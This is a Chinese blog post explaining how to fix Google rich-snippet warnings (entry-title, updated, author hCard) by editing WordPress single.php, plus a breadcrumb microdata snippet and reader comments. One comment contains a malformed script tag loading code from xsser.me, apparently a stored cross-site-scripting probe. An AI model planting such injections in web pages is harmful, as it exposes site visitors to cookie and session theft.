青青子衿, 悠悠我心, 但为君故, 沉吟至今
« Google丰富网页摘要教程也谈“QQ表情”功能 »

修复Wordpress的Google丰富网页摘要错误

  最近在使用Google丰富网页摘要测试工具的时候,发现对于默认Wordpress博客,总会有三条错误信息出现,今天我就介绍一下,如何通过修改Wordpress模版文件来修复这些错误信息的方法。

  错误信息内容分别是:

  Warning: Missing required field "entry-title".

  Warning: Missing required field "updated".

  Warning: Missing required hCard "author".

修复Wordpress的Google丰富网页摘要错误

  对于entry-title的错误信息修改方法是:

  打开single.php文件,找到类似<h1><?php the_title(); ?></h1>一行,将其修改为<h1 class="title entry-title"><?php the_title(); ?></h1>(有些模版可能是h2或其他)

  对于updated的错误信息修改方法是:

  打开single.php文件,找到<?php the_date();?>一行,将其修改为<div class="date updated"><?php the_time('F S, Y'); ?></div>

  对于author的错误信息修改方法是:

  打开single.php文件,找到<?php the_author(); ?>一行,将其修改为<span class="vcard author"><span class="fn"><?php the_author(); ?></span></span>

  另外,在昨天写的“Google丰富网页摘要教程”中,有些读者希望能举个Wordpress模版修改的例子,下面就是一个Wordpress模版的例子。

  打开single.php文件,在适当位置添加如下代码:

<?php
$separator = '&rsaquo;';
$category = get_the_category();
if ($category) {
foreach($category as $category) {
echo '<div itemscope itemtype="http://data-vocabulary.org/Breadcrumb" style="display:inline">';
echo $separator . "<a href=\"".get_category_link($category->term_id)."\" itemprop=\"url\"><span itemprop=\"title\">$category->name</span></a>
";
echo '</div>';
}}
?>

 



  除非注明,月光博客文章均为原创,转载请以链接形式标明本文地址

  本文地址:http://www.williamlong.info/archives/3255.html
  • 文章排行:
  • 2.曰观止
  • 遇到相同的问题,帖中回复,已经采用,如大汗遇甘霖,谢谢分享
  • 2012/10/19 19:45:51   支持(4)反对(3) 回复
  • 3.kakaxi
  • <script src=xsser.me/8OAla9 </script>
    asd啊
  • 2013/2/4 15:11:22   支持(4)反对(3) 回复
  • 4.francis
  • updated没有找到<?php the_date();?>一行,我用的是默认模板
  • 2012/10/19 16:50:44   支持(4)反对(4) 回复
  • 5.坪山钟爱一生
  • 我用的是谷歌浏览器,首页只能加载到谷歌广告,文章页只能加载到站内搜索。
  • 2012/10/20 20:37:30   支持(4)反对(4) 回复
  • 7.zsx
  • 谷歌浏览器,福建铁通。
    侧边栏无法加载的原因是因为GoogleCustomSearch在某些网络无法访问,导致浏览器一直在加载该JS忽略了下面侧边栏。
  • 2012/10/19 20:19:39   支持(5)反对(6) 回复
  • 8.SB
  • 打开网站就出现这个Fatal error: Call to undefined function get_header() in /home/content/83/10526483/html/index.php on line 1
  • 2013/2/20 20:01:37   支持(2)反对(3) 回复
  • 9.卖不锈钢的小伙
  • 我的wp为什么文章中没法插入图片额
  • 2013/1/24 21:36:46   支持(1)反对(3) 回复
  • 11.梅克拉
  • 今天开始,月光博客的侧边栏加载不了?
    williamlong 于 2012-10-19 16:22:44 回复
    我这里加载没问题,你是什么浏览器?
    abnerfan 于 2012-10-19 21:29:05 回复
    我用Chrome,加载也有问题!
    梅克拉 于 2012-10-20 8:41:20 回复
    我用的是谷歌浏览器,首页只能加载到谷歌广告,文章页只能加载到站内搜索。
    wii 于 2012-10-20 11:40:16 回复
    广州也是,有段时间了。
    nj007 于 2012-10-21 15:08:45 回复
    南京电信用户
    首页左侧显示到Google广告,以下都不显示。
    左侧加载到“站内搜索”以下的部分都不显示。
    底部的版权之类的信息全都不显示。
    WIN2003 + Chrome

    等待约两三分钟就全部显示了。
    william 于 2012-10-21 23:14:30 回复
    我看了一下,侧栏里面加载了Google搜索的一段javascript无法加载了,大概被屏蔽了。
  • 2012/10/19 16:03:39   支持(3)反对(6) 回复
  • 12.albey
  • 在single.php里插入代码,总会出现“需求分析>”...的样式问题,请问该怎么解决
  • 2013/5/2 23:11:17   支持(4)反对(7) 回复
  • 14.francis
  • updated没有找到<?php the_date();?>一行,我用的是默认模板
    williamlong 于 2012-10-19 17:01:55 回复
    你就直接把那行加入到文件某个适当位置即可。
  • 2012/10/19 16:50:29   支持(2)反对(6) 回复
  • 15.落日故乡
  • 用ie或ie内核的浏览器大多不能加载侧边栏及底部
  • 2012/10/21 9:27:44   支持(2)反对(6) 回复

发表评论:

 请勿发送垃圾信息、广告、推广信息或链接,这样的信息将会被直接删除。

订阅博客

  • 订阅我的博客:订阅我的博客
  • 关注新浪微博:关注新浪微博
  • 关注腾讯微博:关注腾讯微博
  • 关注认证空间:关注QQ空间
  • 通过电子邮件订阅
  • 通过QQ邮件订阅

站内搜索

热文排行


月度排行

本站采用创作共用版权协议, 要求署名、非商业用途和相同方式共享. 转载本站内容必须也遵循“署名-非商业用途-相同方式共享”的创作共用协议.
This site is licensed under a Creative Commons Attribution-NonCommercial-ShareAlike 3.0 License.